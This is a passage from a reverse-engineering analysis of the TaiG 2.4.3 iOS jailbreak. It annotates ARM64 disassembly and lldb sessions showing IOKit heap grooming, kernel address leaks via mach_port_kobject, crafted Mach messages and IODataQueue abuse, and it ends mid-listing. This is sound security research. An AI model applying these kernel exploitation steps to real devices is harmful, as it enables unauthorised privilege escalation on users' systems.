10000e5f8 1007e8f8 ADR x24, 64796; ; ->R24 = 0x10001e314 10000e5fc d503201f NOP 10000e600 39400308 LDRB W8, [X24] 10000e604 36000068 TBZ W8, #0, force_GC ; 0x10000e610 10000e608 52801415 MOVZ W21, #160; ; ->R21 = 0xa0 10000e60c 14000005 B after_GC_or_no_GC ; ; 0x10000e620 force_GC: //
// This forces kernel zone garbage collection //
10000e610 94002aa3 BL libSystem.B.dylib::_mach_host_self ; ; 0x10001909c 10000e614 94002ab1 BL libSystem.B.dylib::_mach_zone_force_gc ; ; 0x1000190d8 10000e618 39000315 STRB W21, [X24]; ; *((0x10001e314) + 0x0) *0x10001e314 = X21 0xa0 10000e61c 5280c815 MOVZ W21, #1600; ; ->R21 = 0x640 after_GC_or_no_GC: //
// At this point W21 is either 1600 (if we GCed) or 160 (if not) //
10000e620 940001fc BL _query_kernel_zone_allocations(127) ; ; 0x10000ee10 10000e624 52800018 MOVZ W24, #0; ; ->R24 = 0x0 exhaust_IOKit_By_opening_w21_descriptors: //
// Call IOServiceOpen (IOPMRootDomain handle, mach_task_self(), 0, sp_ec) either 1600 or 160 times, discarding the actual returned handle (sp_00ec overwritten) //
10000e628 b9400281 LDR W1, [X20, #0]; ; R1 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e62c 52800002 MOVZ W2, #0; ; ->R2 = 0x0 10000e630 aa1b03e0 *MOV X0, X27 10000e634 aa1703e3 *MOV X3, X23 10000e638 940029fa BL IOKit::_IOServiceOpen ; ; 0x100018e20 ; R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,0x100000cfeedfbbb); ; 10000e63c 35001580 CBNZ X0, release_object_and_fail ; ; 0x10000e8ec 10000e640 11000718 ADD W24, W24, #1; ; ..R24 = R24 (0x0) + 0x1 = 0x1 10000e644 6b15031f CMP W24, W21 10000e648 54ffff0b B.LT exhaust_IOKit_By_opening_w21_descriptors ; ; 0x10000e628 ready_for_more: 10000e64c 940001f1 BL _query_kernel_zone_allocations(127) ; ; 0x10000ee10 10000e650 52800015 MOVZ W21, #0; ; ->R21 = 0x0 10000e654 aa1603f8 *MOV X24, X22 more_IOKIT_torture_(0x420 descriptors): //
// Another loop, call IOServiceOpen ( IOPMRootDomain handle, mach_task_self, 0, sp_58e8 + i) , this time saving handles //
10000e658 b9400281 LDR W1, [X20, #0]; ; R1 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e65c 52800002 MOVZ W2, #0; ; ->R2 = 0x0 10000e660 aa1b03e0 *MOV X0, X27 10000e664 aa1803e3 *MOV X3, X24 10000e668 940029ee BL IOKit::_IOServiceOpen ; ; 0x100018e20 ; R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,0x100000cfeee53b7); ; 10000e66c 35001400 CBNZ X0, release_object_and_fail ; ; 0x10000e8ec 10000e670 110006b5 ADD W21, W21, #1; ; ..R21 = R21 (0x0) + 0x1 = 0x1 10000e674 91001318 ADD X24, X24, #4; ; ..R24 = R24 (0x100000cfeee53b7) + 0x4 = 0x100000cfeee53bb 10000e678 d2820e08 MOVZ X8, #4208; ; ->R8 = 0x1070 10000e67c aa1903e9 *MOV X9, X25 10000e680 71107ebf CMP W21, #1055 10000e684 54fffead B.LE more_IOKIT_torture_(0x420 descriptors) ; ; 0x10000e658

We first establish a handle to IOPMRootDomain. Then, through not one but two runs, we call IOServiceOpen either 160 or 1600 times - discarding the result (sp_00ec down there gets overwritten). The second time, however, we keep each and every one of the 1056 handles that we get, at sp_58e8 (That's 1056 x 4 for 4224 (0x1080) bytes total, up to sp_6968). Placing a breakpoint right after this stressful loop, we find:

# Note I had to reboot, so ASLR kicked in (didn't disable it) and now addresses are different..
# But we want e668 - so that becomes b6668 (remember slide is an integer # of pages), and the sp is still aligned to c00
(lldb) reg read $sp
      sp = 0x000000016fd50c00 # So sp_58e8 == 0x000000016fd564e8
(lldb) b 0x1000b6688
Breakpoint 8: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700, address = 0x00000001000b6688
(lldb) c
Process 335 resuming
Process 335 stopped
* thread #1: tid = 0x8366, 0x00000001000b6688 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1
    frame #0: 0x00000001000b6688 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700:
-> 0x1000b6688:  ldr    q0, [x22, x8]
   0x1000b668c:  rev64.4s v0, v0
   0x1000b6690:  ext.16b v0, v0, v0, #8
   0x1000b6694:  str    d0, [x9]
(lldb) mem read "$sp + 0x58e8"
0x16fd564e8: 03 4e 06 00 03 4f 06 00 03 50 06 00 03 51 06 00  .N...O...P...Q..
0x16fd564f8: 03 52 06 00 03 53 06 00 03 54 06 00 03 55 06 00  .R...S...T...U..
0x16fd56508: 03 56 06 00 03 57 06 00 03 58 06 00 03 59 06 00  .V...W...X...Y..
0x16fd56518: 03 5a 06 00 03 5b 06 00 03 5c 06 00 03 5d 06 00  .Z...[...\...]..
0x16fd56528: 03 5e 06 00 03 5f 06 00 03 60 06 00 03 61 06 00  .^..._...`...a..
0x16fd56538: 03 62 06 00 03 63 06 00 03 64 06 00 03 65 06 00  .b...c...d...e..
0x16fd56548: 03 66 06 00 03 67 06 00 03 68 06 00 03 69 06 00  .f...g...h...i..
0x16fd56558: 03 6a 06 00 03 6b 06 00 03 6c 06 00 03 6d 06 00  .j...k...l...m..
(lldb) print $x9 - $sp
(unsigned long) $7 = 16616  # sp_40e8

We then use a couple of SIMD/FP instructions which jtool doesn't support (yet - I know, I'm working on it - it's just that they're quite rare). These flip around the list of ports from sp_58e8 to an array at sp_40e8 which x9 obtained from x25). Starting from 0x1070 (4208, loaded into x8) we iterate downwards by 16 at a time, till 0x0070. If you want to see this for yourself, you'll have to clear the breakpoint we had just set at 0x1000e688, because it's the beginning of a loop, and set one right after it:

(lldb) b  0x1000b66b0
Breakpoint 9: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740, address = 0x00000001000b66b0
(lldb) breakpoint delete 8
1 breakpoints deleted; 0 breakpoint locations disabled.
(lldb) c
Process 335 resuming
Process 335 stopped
* thread #1: tid = 0x8366, 0x00000001000b66b0 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1
    frame #0: 0x00000001000b66b0 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740:
-> 0x1000b66b0:  mov    x0, x27
   0x1000b66b4:  bl     0x1000c0d84               ; symbol stub for: IOObjectRelease
   0x1000b66b8:  ldr    w0, [x20]
   0x1000b66bc:  ldr    x8, [sp, #104]
(lldb) reg read $x8 $x9
      x8 = 0x0000000000000070
      x9 = 0x000000016fd55ce8
(lldb) mem read "$sp + 0x40e8"
0x16fd54ce8: 03 6d 0a 00 03 6c 0a 00 03 6b 0a 00 03 6a 0a 00  .m...l...k...j..
0x16fd54cf8: 03 69 0a 00 03 68 0a 00 03 67 0a 00 03 66 0a 00  .i...h...g...f..
0x16fd54d08: 03 65 0a 00 03 64 0a 00 03 63 0a 00 03 62 0a 00  .e...d...c...b..
0x16fd54d18: 03 61 0a 00 03 60 0a 00 03 5f 0a 00 03 5e 0a 00  .a...`..._...^..
0x16fd54d28: 03 5d 0a 00 03 5c 0a 00 03 5b 0a 00 03 5a 0a 00  .]...\...[...Z..
0x16fd54d38: 03 59 0a 00 03 58 0a 00 03 57 0a 00 03 56 0a 00  .Y...X...W...V..
0x16fd54d48: 03 55 0a 00 03 54 0a 00 03 53 0a 00 03 52 0a 00  .U...T...S...R..
0x16fd54d58: 03 51 0a 00 03 50 0a 00 03 4f 0a 00 03 4e 0a 00  .Q...P...O...N..

After this, we can release that IOPMRootDomain handle, and go visit another old friend.

mach_port_kobject returns

Turns out TaiG use mach_port_kobject again. In fact, they do so a lot. What follows is a loop of calling it on the handles obtained by exhausting IOKit:

//
// call mach_port_kobject(mach_task_self,
// saved_port,
// sp_007c,
// sp_00f0 //
10000e6b8 b9400280 LDR W0, [X20, #0]; ; R0 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e6bc f94037e8 LDR X8, [X31, #104]; R8 = *(SP + 0x68)? 10000e6c0 b950011c LDR W28, [X8, #4096]; ..??? 10000e6c4 9101f3e2 ADD X2, SP, #124; ; R2 = SP + 0x7c 10000e6c8 9103c3fb ADD X27, SP, #240; ; R27 = SP + 0xf0 10000e6cc aa1c03e1 *MOV X1, X28 10000e6d0 aa1b03e3 *MOV X3, X27 10000e6d4 94002a7e BL libSystem.B.dylib::_mach_port_kobject ; ; 0x1000190cc 10000e6d8 350006e0 CBNZ X0, mach_port_kobject_not_zero ; ; 0x10000e7b4 10000e6dc f9407be8 LDR X8, [X31, #240]; R8 = *(SP + 0xf0)? 10000e6e0 f140051f CMP X8, #1 10000e6e4 54000689 B.LS mach_port_kobject_not_zero ; ; 0x10000e7b4 10000e6e8 b27e03f5 ORR X21, XZR, #0x4; ; ->R21 = 0x4 10000e6ec aa1b03f8 *MOV X24, X27 10000e6f0 14000004 B start_mach_port_kobject_forcing ; ; 0x10000e700 mach_port_kobject_retry: 10000e6f4 b8756b3c LDR W28, [X25, X21 ...] 10000e6f8 91002318 ADD X24, X24, #8; ; ..R24 = R24 (0x100000cfeedfbbf) + 0x8 = 0x100000cfeedfbc7 10000e6fc 910012b5 ADD X21, X21, #4; ; ..R21 = R21 (0x4) + 0x4 = 0x8 start_mach_port_kobject_forcing: //
// As we start iterating, x24 = sp_00f0, and x21 = 0x4, x25 = sp_40e8.
// We call mach_port_kobject (mach_task_self, sp_40e8 + i, sp_007c, sp_00f0 + i), then correct the value (sp_00f0 + i) by substracting from mach_port_kobject of the IOMaster. //
10000e700 b9400280 LDR W0, [X20, #0]; ; R0 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e704 9101f3e2 ADD X2, SP, #124; ; R2 = SP + 0x7c 10000e708 aa1c03e1 *MOV X1, X28 10000e70c aa1803e3 *MOV X3, X24 10000e710 94002a6f BL libSystem.B.dylib::_mach_port_kobject ; ; 0x1000190cc 10000e714 94000499 BL _gets_mach_port_kobject_of_iomaster ; ; 0x10000f978 //
// at this point, x0 holds the mach_port_kobject of the IOMasterPort, which is an (original, pre slide) kernel address. //
10000e718 f9400308 LDR X8, [X24, #0]; ; R8 = *(R24(0x100000cfeedfbc7) + 0x0) = *(0x100000cfeedfbc7) 10000e71c cb000108 SUB X8, X8, X0 10000e720 f9000308 STR X8, [X24, #0]; ; *((0x100000cfeedfbc7) + 0x0) *0x100000cfeedfbc7 = X8 0x3f3f3f3f 10000e724 f14006bf CMP X21, #1 10000e728 54fffe61 B.NE mach_port_kobject_retry ; ; 0x10000e6f4 10000e72c d2800015 MOVZ X21, #0; ; ->R21 = 0x0 10000e730 320003e8 ORR W8, WZR, #0x1; ; ->R8 = 0x1 10000e734 10074278 ADR x24, 59468; ; ->R24 = 0x10001cf80 @"%p %p %p %p" 10000e738 d503201f NOP 10000e73c 1007403c ADR x28, 59396; ; ->R28 = 0x10001cf40 @"s %d" 10000e740 d503201f NOP print_loop_1: //
// x9 set to sp_00f0 + i. We load two values (into x9 and x10) and check the difference between them //
10000e744 8b150f69 ADD X9, X27, X21, LSL #3 10000e748 a940252a LDP X10, X9, [X9,#0] 10000e74c cb0a0129 SUB X9, X9, X10 10000e750 f104013f CMP X9, #256 10000e754 54000061 B.NE 0x10000e760 ; 0x10000e760 10000e758 11000508 ADD W8, W8, #1; ; ..R8 = R8 (0x1) + 0x1 = 0x2 10000e75c 14000005 B 0x10000e770 ; 0x10000e770 10000e760 f90003e8 STR X8, [SP, #0] ; ? 10000e764 aa1c03e0 *MOV X0, X28 10000e768 940029b4 BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(@"s %d"); ; 10000e76c 320003e8 ORR W8, WZR, #0x1; ; ->R8 = 0x1 10000e770 910006b5 ADD X21, X21, #1; ; ..R21 = R21 (0x0) + 0x1 = 0x1 10000e774 f10ffebf CMP X21, #1023 10000e778 54fffe61 B.NE print_loop_1 ; ; 0x10000e744 //
// found the 1023rd pair that's not 0x100 bytes apart //
10000e77c 10073f20 ADR x0, 59364; ; ->R0 = 0x10001cf60 @"alloc %d" 10000e780 d503201f NOP 10000e784 940029ad BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(@"alloc %d"); ; 10000e788 d2800015 MOVZ X21, #0; ; ->R21 = 0x0 print_loop_2: 10000e78c 8b150368 ADD X8, X27, X21 10000e790 a9402909 LDP X9, X10, [X8,#0] 10000e794 a941210b LDP X11, X8, [X8,#16] 10000e798 a90123eb STP X11, X8, [SP,#16] 10000e79c a9002be9 STP X9, X10, [SP,#0] 10000e7a0 aa1803e0 *MOV X0, X24 10000e7a4 940029a5 BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(@"%p %p %p %p"); ; 10000e7a8 910082b5 ADD X21, X21, #32; ; ..R21 = R21 (0x0) + 0x20 = 0x20 10000e7ac f1400abf CMP X21, #2 10000e7b0 54fffee1 B.NE print_loop_2 ; ; 0x10000e78c mach_port_kobject_not_zero:

Setting a breakpoint on mach_port_kobject, we get:

(lldb) b mach_port_kobject
Breakpoint 10: where = libsystem_kernel.dylib`mach_port_kobject, address = 0x0000000197889ed0
(lldb) c
Process 335 resuming
Process 335 stopped
* thread #1: tid = 0x8366, 0x0000000197889ed0 libsystem_kernel.dylib`mach_port_kobject, queue = 'com.apple.main-thread', stop reason = breakpoint 10.1
    frame #0: 0x0000000197889ed0 libsystem_kernel.dylib`mach_port_kobject
libsystem_kernel.dylib`mach_port_kobject:
-> 0x197889ed0:  b      0x19787c35c               ; _kernelrpc_mach_port_kobject

libsystem_kernel.dylib`mach_port_unguard:
   0x197889ed4:  stp    x22, x21, [sp, #-48]!
   0x197889ed8:  stp    x20, x19, [sp, #16]
   0x197889edc:  stp    fp, lr, [sp, #32]
(lldb) reg read x0 x1 x2 x3
      x0 = 0x0000000000000103
      x1 = 0x00000000000a6d03
      x2 = 0x000000016fd50c7c  Out: object_type to sp_007c
      x3 = 0x000000016fd50cf0  Out: object_addr to sp_00f0

Setting a breakpoint on 0x1000e718, we have:

(lldb) 
Process 335 stopped
* thread #1: tid = 0x8366, 0x00000001000b6718 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x00000001000b6718 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844:
-> 0x1000b6718:  ldr    x8, [x24]
   0x1000b671c:  sub    x8, x8, x0
   0x1000b6720:  str    x8, [x24]
   0x1000b6724:  cmp    x21, #4096
(lldb) reg read x0
      x0 = 0xffffff8002535017

And that value of x0 there looks suspiciously like a (non slid) kernel address. So not only is mach_port_kobject alive and well (Thank you for asking), it's actually working as advertised. This loop repeats till 10000e72c, so we set a breakpoint there. Suddenly, the mach_port_kobject values don't look THAT obfuscated anymore:


* thread #1: tid = 0x8366, 0x00000001000b672c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864, queue = 'com.apple.main-thread', stop reason = breakpoint 11.1
    frame #0: 0x00000001000b672c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864:
-> 0x1000b672c:  movz   x21, #0
   0x1000b6730:  orr    w8, wzr, #0x1
   0x1000b6734:  adr    x24, #59468               ; @"%p %p %p %p"
   0x1000b6738:  nop    
(lldb) mem read "$sp + 0xf0"
0x16fd50cf0: 0e 04 9c 44 92 cc e8 b3 0e 05 9c 44 92 cc e8 b3  ...D.......D....
0x16fd50d00: 0e 06 9c 44 92 cc e8 b3 0e 07 9c 44 92 cc e8 b3  ...D.......D....
0x16fd50d10: 0e 08 9c 44 92 cc e8 b3 0e 09 9c 44 92 cc e8 b3  ...D.......D....
0x16fd50d20: 0e 0a 9c 44 92 cc e8 b3 0e 0b 9c 44 92 cc e8 b3  ...D.......D....
0x16fd50d30: 0e 0c 9c 44 92 cc e8 b3 0e 0d 9c 44 92 cc e8 b3  ...D.......D....
0x16fd50d40: 0e 2e 9b 44 92 cc e8 b3 0e 2f 9b 44 92 cc e8 b3  ...D...../.D....
0x16fd50d50: 0e 30 9b 44 92 cc e8 b3 0e 31 9b 44 92 cc e8 b3  .0.D.....1.D....
0x16fd50d60: 0e 32 9b 44 92 cc e8 b3 0e 33 9b 44 92 cc e8 b3  .2.D.....3.D....
..

We next iterate over these values, looking at every pair, and looking for allocations which are not exactly 256 (0x100) apart. These get logged via NSLog to stdout (e.g. taig.2.4.3[335:33638] s 10"). When we find the 1023rd of these (w21=0x3ff) we log that too (e.g. taig.2.4.3[335:33638] 0xb3e8cc92449c040e 0xb3e8cc92449c050e 0xb3e8cc92449c060e 0xb3e8cc92449c070e) and iterate over 256 more pairs. We save the last pair on the stack like so:

(lldb) mem read "$x27 + $x21 - 0x20"  # from sp_0020xx
0x16fd52cd0: 0e f0 e3 43 92 cc e8 b3 0e f1 e3 43 92 cc e8 b3  ...C.......C....
0x16fd52ce0: 0e f2 e3 43 92 cc e8 b3 0e f3 e3 43 92 cc e8 b3  ...C.......C....
(lldb) mem read $sp
0x16fd50c00: 0e f0 e3 43 92 cc e8 b3 0e f1 e3 43 92 cc e8 b3  ...C.......C....
0x16fd50c10: 0e f2 e3 43 92 cc e8 b3 0e f3 e3 43 92 cc e8 b3  ...C.......C....
(lldb) 

Fun with Mach Messages

Now it's time for some hand crafted Mach messages. Set a breakpoint at 0x1000e800:

(lldb) b 0x1000b6800
Breakpoint 17: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076, address = 0x00000001000b6800
(lldb) c
Process 335 resuming
Process 335 stopped
* thread #1: tid = 0x8366, 0x00000001000b6800 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1
    frame #0: 0x00000001000b6800 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076:
-> 0x1000b6800:  bl     0x1000b6b9c               ; ___lldb_unnamed_function124$$taig.2.4.3
   0x1000b6804:  cmp    w0, #0
   0x1000b6808:  b.lt   0x1000b68b0               ; ___lldb_unnamed_function123$$taig.2.4.3 + 1252
   0x1000b680c:  ldr    w8, [sp, #128]
(lldb) reg read x0 x1 x2 x3 x4
      x0 = 0x000000016fd57970  # That's our argument
      x1 = 0x000000016fd550c8  # sp_44c8 - into ports array
      x2 = 0x0000000000000003  # 3!
      x3 = 0x000000016fd50c80  # sp_0080 
      x4 = 0x000000016fd53ce8  # sp_30e8

The function takes its arguments, and crafts a mach message which will be sent using function #47. Setting a breakpoint right before the call (10000ec8c), we'd get:

* thread #1: tid = 0x8366, 0x00000001000b6c8c taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240, queue = 'com.apple.main-thread', stop reason = breakpoint 19.1
    frame #0: 0x00000001000b6c8c taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240
taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240:
-> 0x1000b6c8c:  bl     0x1000b1914               ; ___lldb_unnamed_function47$$taig.2.4.3
   0x1000b6c90:  cbnz   w0, 0x1000b6d08           ; ___lldb_unnamed_function124$$taig.2.4.3 + 364
   0x1000b6c94:  ldr    w1, [x23]
   0x1000b6c98:  add    x2, sp, #1048
(lldb) reg read x0 x1 x2 x3 
      x0 = 0x00000000000a7203 # A port
      x1 = 0x000000016fd50798 #  memset to 0xcc back in 0x24
      x2 = 0x00000000000000a8
      x3 = 0x0000000000000004
(lldb) b mach_msg
..
      x0 = 0x000000016fd4fe20  # mach_msg_header_t *msg,
      x1 = 0x0000000000000001  # mach_msg_option_t option 
      x2 = 0x000000000000005c  # mach_msg_size_t send_size
      x3 = 0x0000000000000000  # mach_msg_size_t rcv_size
      x4 = 0x0000000000000000  # mach_port_name_t rcv_name
      x5 = 0x0000000000000000  # mach_msg_timeout_t timeout
      x6 = 0x0000000000000000  # mach_port_name_t notify
(lldb) mem read 16fd4fe20
0x16fd4fe20: 14 00 00 80 5c 00 00 00 03 72 0a 00 00 00 00 00  ....\....r......
0x16fd4fe30: 00 00 00 00 00 00 00 00 04 00 00 00 98 07 d5 6f  ...............o
0x16fd4fe40: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f  ...............o
0x16fd4fe50: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f  ...............o
0x16fd4fe60: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f  ...............o
0x16fd4fe70: 01 00 00 00 00 00 00 01 a8 00 00 00 00 00 00 00  ................

So we send only (as evidenced by option 0x01, MACH_SEND_MSG and the null name size for receive), the fine buffer shown above, to port 0xa7203, with an array of four pointer values (to 0x016fd50798, which is memset to 0xcc), of 0xa8 bytes. We then call 0x010000e200 with the arguments of:

(lldb) reg read x0 x1 x2 x3 x4
      x0 = 0x000000016fd57970 # That user arg
      x1 = 0x0000000000097503 # A port
      x2 = 0x000000016fd50398 # Another 0xcc memset buffer
      x3 = 0x0000000000000118 
      x4 = 0x0000000000000000
# Reminder - that's what's in the user buffer
(lldb) mem read $x0
             friend b0b                 IOConnected Mem
0x16fd57970: 0b 0b 00 00 03 0f 00 00 00 80 44 00 01 00 00 00  ..........D.....
0x16fd57980: 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0@..............
0x16fd57990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fd579a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fd579b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fd579c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fd579d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x16fd579e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

If fun with mach_msgs had no fun, we re-launch our assault on IOKit. Otherwise, we use IODataQueue.

IODataQueues

Apple defines the IODataQueue as a method to communicate with the IOKit drivers. Basically, you have this queue which you can use IODataQueuePeek to poll , and IODataQueueDequeue to read from. Function 121 peeks at the queue, makes sure that the queue is empty (IODataQueuePeek returns 0), spawns a thread. The thread function is _more_IOHID_fun.

_mess_with_IODataQueue(121):
   10000e200      a9bb67fa        STP    X26, X25, [SP,#-80]!
   10000e204    a9015ff8        STP    X24, X23, [SP,#16]
   10000e208    a90257f6        STP    X22, X21, [SP,#32]
   10000e20c    a9034ff4        STP    X20, X19, [SP,#48]
   10000e210    a9047bfd        STP    X29, X30, [SP,#64]
   10000e214    910103fd        ADD    X29, SP, #64;        ; R29 = SP + 0x40
   10000e218    d10143ff        SUB    X31, X31, #80
   10000e21c    aa0303f5        *MOV   X21, X3
   10000e220    aa0203f3        *MOV   X19, X2
   10000e224    aa0003f4        *MOV   X20, X0
   10000e228    d503201f        NOP    
//
// Make sure the IODataQueue is empty (that is, IODataQueuePeek returns NULL) //
10000e22c 5806f038 LDR X24, #14209; ; R24 = *0x10001c030libSystem.B.dylib::___stack_chk_guard 10000e230 f9400308 LDR X8, [X24, #0]; ; R8 = *(R24(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e234 f90027e8 STR X8, [SP, #72] ; ? 10000e238 f9001bff STR XZR, [SP, #48] ; ? 10000e23c f90013f4 STR X20, [SP, #32] ; ? 10000e240 b9002be1 STR W1, [SP, #40] ; ? 10000e244 b9001fff STR WZR, [SP, #28] ; ? 10000e248 a903ffff STP XZR, XZR, [SP,#56] 10000e24c f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e250 94002ac4 BL IOKit::_IODataQueuePeek ; ; 0x100018d60 10000e254 b4000140 CBZ X0, IODataQueue_is_empty ; ; 0x10000e27c 10000e258 910073f6 ADD X22, SP, #28; ; R22 = SP + 0x1c 10000e25c b9001fff STR WZR, [SP, #28] ; ? 10000e260 f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e264 d2800001 MOVZ X1, #0; ; ->R1 = 0x0 10000e268 aa1603e2 *MOV X2, X22 10000e26c 94002aba BL IOKit::_IODataQueueDequeue ; ; 0x100018d54 10000e270 f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e274 94002abb BL IOKit::_IODataQueuePeek ; ; 0x100018d60 10000e278 b5ffff20 CBNZ X0, 0x10000e25c ; 0x10000e25c IODataQueue_is_empty: //
// spawn a thread to have more fun with IOHID //
10000e27c d2800001 MOVZ X1, #0; ; ->R1 = 0x0 10000e280 100063e2 ADR x2, 3196; ; ->R2 = 0x10000eefc ; _more_IOHID_fun 10000e284 d503201f NOP 10000e288 9100c3e0 ADD X0, SP, #48; ; R0 = SP + 0x30 10000e28c 910083e3 ADD X3, SP, #32; ; R3 = SP + 0x20 10000e290 94002bc2 BL libSystem.B.dylib::_pthread_create ; ; 0x100019198 10000e294 35000520 CBNZ X0, fail ; ; 0x10000e338 10000e298 52800019 MOVZ W25, #0; ; ->R25 = 0x0 10000e29c 93407eb5 ASR X21, X21, #0 10000e2a0 9100e3f6 ADD X22, SP, #56; ; R22 = SP + 0x38 10000e2a4 910073f7 ADD X23, SP, #28; ; R23 = SP + 0x1c try_up_to_ten_times: 10000e2a8 5280001a MOVZ W26, #0; ; ->R26 = 0x0 sleep_a_little: //
// wait for output to arrive //
10000e2ac 5280fa00 MOVZ W0, #2000; ; ->R0 = 0x7d0 10000e2b0 94002c1d BL libSystem.B.dylib::_usleep ; ; 0x100019324 ; libSystem.B.dylib::_usleep(2000); ; 10000e2b4 f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e2b8 94002aaa BL IOKit::_IODataQueuePeek ; ; 0x100018d60 10000e2bc b50000a0 CBNZ X0, got_output ; ; 0x10000e2d0 10000e2c0 1100075a ADD W26, W26, #1; ; ..R26 = R26 (0x0) + 0x1 = 0x1 10000e2c4 7100275f CMP W26, #9 10000e2c8 54ffff2d B.LE sleep_a_little ; ; 0x10000e2ac 10000e2cc 1400001b B fail ; ; 0x10000e338 got_output: //
// We have output in the Queue! so now - call method 3 (PostReportResult) //
10000e2d0 f9001fff STR XZR, [SP, #56] ; ? 10000e2d4 f8414008 LDUR X8, X0, #20 ; ? 10000e2d8 f90023e8 STR X8, [SP, #64] ; ? 10000e2dc b9400280 LDR W0, [X20, #0]; ; R0 = *(R20(0x10001d000) + 0x0) = *(0x10001d000) 10000e2e0 a9007fff STP XZR, XZR, [SP,#0] 10000e2e4 320007e1 ORR W1, WZR, #0x3; ; ->R1 = 0x3 10000e2e8 321f03e3 ORR W3, WZR, #0x2; ; ->R3 = 0x2 10000e2ec aa1603e2 *MOV X2, X22 10000e2f0 aa1303e4 *MOV X4, X19 10000e2f4 aa1503e5 *MOV X5, X21 10000e2f8 d2800006 MOVZ X6, #0; ; ->R6 = 0x0 10000e2fc d2800007 MOVZ X7, #0; ; ->R7 = 0x0 10000e300 94002a7a BL IOKit::_IOConnectCallMethod ; ; 0x100018ce8 ; R0 = IOKit::_IOConnectCallMethod((mach port),3,0x100000cfeedfb07,2,0xffffffffffffffff,92,NULL,NULL,1061109567,? - 209494); ; 10000e304 350001a0 CBNZ X0, fail ; ; 0x10000e338 10000e308 b9001fff STR WZR, [SP, #28] ; ? 10000e30c f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e310 d2800001 MOVZ X1, #0; ; ->R1 = 0x0 10000e314 aa1703e2 *MOV X2, X23 10000e318 94002a8f BL IOKit::_IODataQueueDequeue ; ; 0x100018d54 10000e31c 71002b5f CMP W26, #10 10000e320 540000ca B.GE fail ; ; 0x10000e338 10000e324 11000739 ADD W25, W25, #1; ; ..R25 = R25 (0x0) + 0x1 = 0x1 10000e328 7100073f CMP W25, #1 10000e32c 54fffbed B.LE try_up_to_ten_times ; ; 0x10000e2a8 success!: //
// Load 0 as return value and head for exit //
10000e330 52800013 MOVZ W19, #0; ; ->R19 = 0x0 10000e334 14000002 B head_for_exit ; ; 0x10000e33c ; head_for_exit(72057649854544591); ; fail: 10000e338 12800013 MOVN X19, #0; ; ->R19 = 0xffffffffffffffff head_for_exit: 10000e33c f9401be0 LDR X0, [X31, #48]; R0 = *(SP + 0x30)? 10000e340 b4000040 CBZ X0, 0x10000e348 ; 0x10000e348 10000e344 94002b98 BL libSystem.B.dylib::_pthread_detach ; ; 0x1000191a4 10000e348 b9402be0 LDR W0, [X31, #40]; R0 = *(SP + 0x28)? 10000e34c 34000060 CBZ X0, 0x10000e358 ; 0x10000e358 10000e350 94002aa8 BL IOKit::_IOServiceClose ; ; 0x100018df0 10000e354 b9002bff STR WZR, [SP, #40] ; ? 10000e358 f9400308 LDR X8, [X24, #0]; ; R8 = *(R24(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e35c f94027e9 LDR X9, [X31, #72]; R9 = *(SP + 0x48)? 10000e360 cb090108 SUB X8, X8, X9 10000e364 